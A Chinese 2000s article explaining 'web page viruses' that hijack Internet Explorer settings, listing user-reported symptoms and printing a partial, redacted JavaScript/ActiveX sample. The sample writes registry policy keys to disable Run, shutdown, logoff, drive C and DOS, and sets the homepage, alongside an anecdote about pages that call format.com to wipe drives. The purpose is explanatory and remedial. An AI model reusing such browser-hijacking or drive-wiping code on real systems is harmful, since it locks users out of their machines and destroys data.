抓住网页恶意代码的"黑手"[1]

[入库:2005年8月18日] [更新:2007年3月24日]

本文简介:选择自 sanjiang 的 blog

【编者按:病毒的泛滥弄得计算机用户人人自危,木马的流行让人感觉在互联网上毫无隐私可言,而网上愈演愈烈的"网页病毒"更是搅得人心惶惶,从各方面的求救信号中可以略窥这"病毒"的症状:在无意浏览了一些网页后,就发现ie标题栏、ie起始主页被莫名其妙地修改了、每次开机出现莫名其妙的提示框、修改输入法启动项、启动无关程序......,更有文章称:有些网页"病毒"会格式化硬盘。更令人生厌的是,通过ie"工具"菜单下的"internet选项"操作界面根本不能修改以恢复原状。在互联网发达的今天,谁不天天要浏览众多网页?如果真有这样一些病毒,岂还得了?编者从网友来信、论坛收集了一些信息,并对此作了比较详细的分析后,认 为这"病毒"的更大成分是恶意代码。现在就让我们一步一步地让这些恶意代码曝光,揭开其"神秘"的面纱!】
相关网文摘引
  以下是从网上一篇文章节选(由于不知道出处,敬请作者与我们联系),作者对能格式化硬盘的恶意代码来了一次" 亲密接触", 可真令人心惊胆颤的,看来说什么恶意代码能格式化硬盘并非空穴来风!
  一日,忽然听朋友说,他在上网的时候,不知点击了什么东西,而将他的硬盘全部给格式化了。我首先的念头就是:该不会是中了那个有名的国产宏病毒"七月杀手"?不过这个宏病毒是在系统autoexec.bat文件中加入了"deltreec:\/y",应该不会格式化整个硬盘。那该不会是……曾经在某个杂志上看到过一个介绍,说什么ie浏览器可以通过执行activex而把硬盘格式化,而且记得当时还公布了源代码,只是当时公布的源代码是针对西班牙版的windows,对中文版的windows没有用,说不定那些代码现在已经被一些高手给改成了针对中文windows的呢。
  问问自己的朋友,他也是稀里糊涂地被格式化掉硬盘的,当时进入的网站也不记得了。没有办法,我只好自己跑到国内的一些网站去找类似的主题文章。皇天不负苦心人,终于找到了几个可以格式化硬盘的html文件。网站上的版主出自好心,提醒下载的网友:只能供自 己研究,不可害人。
  考虑到危险性,我先用记事本随便打开其中一个 看看源代码,没有想到这个源文件竟给加了密,里面是用 javascript写的脚本,加密的部分好像只是一些字符的定义,而真正的脚本内容也只是显示一些字符在屏幕上。因为自己的机器是刚装好的,没有什么特别重要的数据,所以就抱着"过把瘾就死"的念头,用ie浏览器打开了这个html文件。接着,浏览器发出一个警告:"该页上的activex控件与页上的其它部分进行交互可能不安全,是否允许进行交互?"。如果你选择"是",则就会运行那些不安全控件。不过我试的这个html文件只是给大家开个玩笑,你打开它后,它说什么"你的c盘已经被它强行输入格式化,一旦重新启动就格式化了。请不要启动,立即保存有用的文件。"等诸如此类的话。我仔细检查了一下windows启动程序里的内容,也没有什么变化,于是放心大胆地重启,果然是开的玩 笑。
   在下载的另外一个html文件中,看看源代码,不禁吓了一跳。程序仅有的不足30代代码中有24行都是调用windows里自带的format.com命令,真是够狠的。除了a、b两个驱外,只要你能够分的区c-z,都会被格式化。为了验证其效果,又不想我的硬盘被格式化,我把windows里自带的format.com给改了名字,然后用ie打开该html文件,浏览器同样发出一个警告:"该页上的某些软件(activex控件)可能不安全。建议您不要运行。是否允许运行?"。当你选择"是"的时候,会弹出几十个dos窗口,可能是因为它找不到format.com这个文件,找开所有dos窗口都是什么显示也没有。它不但调用了format.com,另外还加上了一些参数,如快速格式化等,再加上格式化时窗口就已经自动完成了硬盘格式化的工作,等你发现时也已经悔之晚矣。幸好我事先已经把硬盘里的 format.com给改了名字,否则后果可想而知。
中毒现象素描:
  笔者对网上言论进行了搜集,将其分门别类陈列如下:
(一)、默认主页被修改 :
  "最近,我的电脑发生了一个奇怪的现象,浏览器的默认主页被自动设为www.********.com,一开始我并没有留意,心想只要在ie的"internet选项"中修改回原来的设置就可以了,修改后,果然没事了,但第二天开机,又被改回去了。 "
(二)、ie标题栏被修改:
  "不知从什么时候起,我的每个打开的ie页里的标题栏多出了什么"让历史告诉未来,知青网(www.zhiqing.org)"的字样; "
(三)、开机时出现提示框:
  "一次浏览了一个网页后,在看了作者高现需写的"去除ie默认主页、标题诡异添加之一招两式"(http://www.yesky.com/20010808/191701.shtml)后虽然解决了去除默认主页问题,但没法去掉开机时出现一个提示框,什么“欢迎来访www.play.cn.gs"之类的! "
(四)、ie地址栏下多出了文字 :
  "地址栏下出现一些莫名 其妙的文字,不知怎么去掉。 "
(五)、在注 册表中对ie相关的注册表项如 默认主页等修改无效:
  "有些网站很可恶,它将ie的默认网页设置成了该网站的名称后,我自己通过修改注册表项的"startpage"和 "default_page_url"后仍不能生效,不知怎么办 !"
(六)、internet exploer中点击右键,菜单中出现非法站点 的链接:
  "同样也是由于一次访问了一个网站,以后当浏览网页时,如果点击右键,则弹出的菜单中有非法站点的链接。"
(七)、修改了操作系统
  "浏览了一个网站,后来发现系统已经禁止了'关闭系统'、'运行'、'注销'功能,并且c盘找不到了、注册表编辑器regedit不能使用、dos程序不能运行,无法进入系统实模式"
程序讲解
  笔者了解一些有关applet、activex及脚本语言方面的知识,在下载含有恶意代码后,对其引用的javascript脚本文件进行了一些分析。由于安全原因,请恕我不能将代码完整地写出来或者对程序的编写进行过细的讲解,只是让大家了解到这个代码并不神秘。java的最初应用就是applet程序。虽然java对applet的安全作出了限制,但由于浏览器或语言漏洞的原因,当它与功能比较强大的脚本语言结合时,这些小应用程序常可凭借正常或诡秘的手段对用户的机器进行修改,比如修改注册表,运行相关的dos命令,在用户机器上安装木马或激活相关的应用程序,其功能之强大远非单纯的网页所能胜任,由此看来,现在网上所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪不惊了。另外,还有一种嵌入式应用程序就是activex,是微软的一种插件技术,也可以象applet一样进行一些针对本机的操作。现在让我们了解一下以下代码编制的机理(如果你不了解脚本语言,可仅看看程序修改了哪些注册表表 项,然后找到 这些表项并修改回来)。
document.write("〈applet height=0 width=0 code=.......〉〈 /applet〉");
file://嵌入applet文件
function f){ file://做出种种修改的语句就在这个函数里
try
{
//activex initialization
a1=document.applets[0]; file://获取applet运行对象,以下语句指向注册表中有关ie的表项
a1.setclsid("{.............}");
a1.createinstance();
shl = a1.getobject();
a1.setclsid("{.............}");
a1.createinstance();
fso = a1.getobject();
a1.setclsid("{.............}");
a1.createinstance();
net = a1.getobject();
try
{
if ( document.cookie.indexof("chg") == -1)
{
//以下是对操作系统相关注册表项值项的修改
//使系统没有“运行”项,以防止用户就不能通过注册表 编辑器 来修复设置。
shl.regwrite ( "hkcu\\software\\microsoft\\windows\\currentversion\\ policies\\
explorer\\norun", 01, "reg_binary");
//让操作系统无“关闭系统” 选项
shl.regwrite ( "hkcu\\software\\microsoft\\windows\\currentversion\\ policies\\
explorer\\noclose", 01, "reg_binary") ;
//让操作系统无“注销”选项
shl.regwrite ( "hkcu\\software\\microsoft\\windows\\currentversion\\ policies\\
explorer\\nologoff", 01, "reg_binary");
注:使受害者系统没有“注销”项
//让操作系统无逻辑驱动器c
shl.regwrite ( "hkcu\\software\\microsoft\\windows\\currentversion\\ policies\\
explorer\\nodrives", "00000004", "reg_dword");
//禁止运行所有 的dos应用程序;
shl.regwrite ( "hkcu\\software\\microsoft\\windows\\currentversion\\ policies\\
winoldapp\\ disabled","reg_binary") ;
//让操作系统无法切换 至传统dos的实模式下
shl.regwrite ( "hkcu\\software\\microsoft\\windows\\currentversion\\ policies\
\winoldapp\\norealmode","reg_binary") ;
// 让系统登录时显示一个登录窗口,以下是写入启动弹出对话 框标 题
sh1.regwrite ( "hklm\\software\\microsoft\\windows\\currentversion\\
winlogon\\legal noticecaption", "........");
// 写入启动弹出对话框内容
sh1.regwrite ( "hklm\\software\\microsoft\\windows\\currentversion\\
winlogon\\legal noticetext", "...............");
//以下是对ie 相关注册表项值项 的修改
// 设置浏览器默认主页
sh1.regwrite ("hkcu\\software\\microsoft\\internet explorer\\main\\start page",
"..............");
// 修改启动中的输入法启动项

本文关键:网页 恶意代码
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top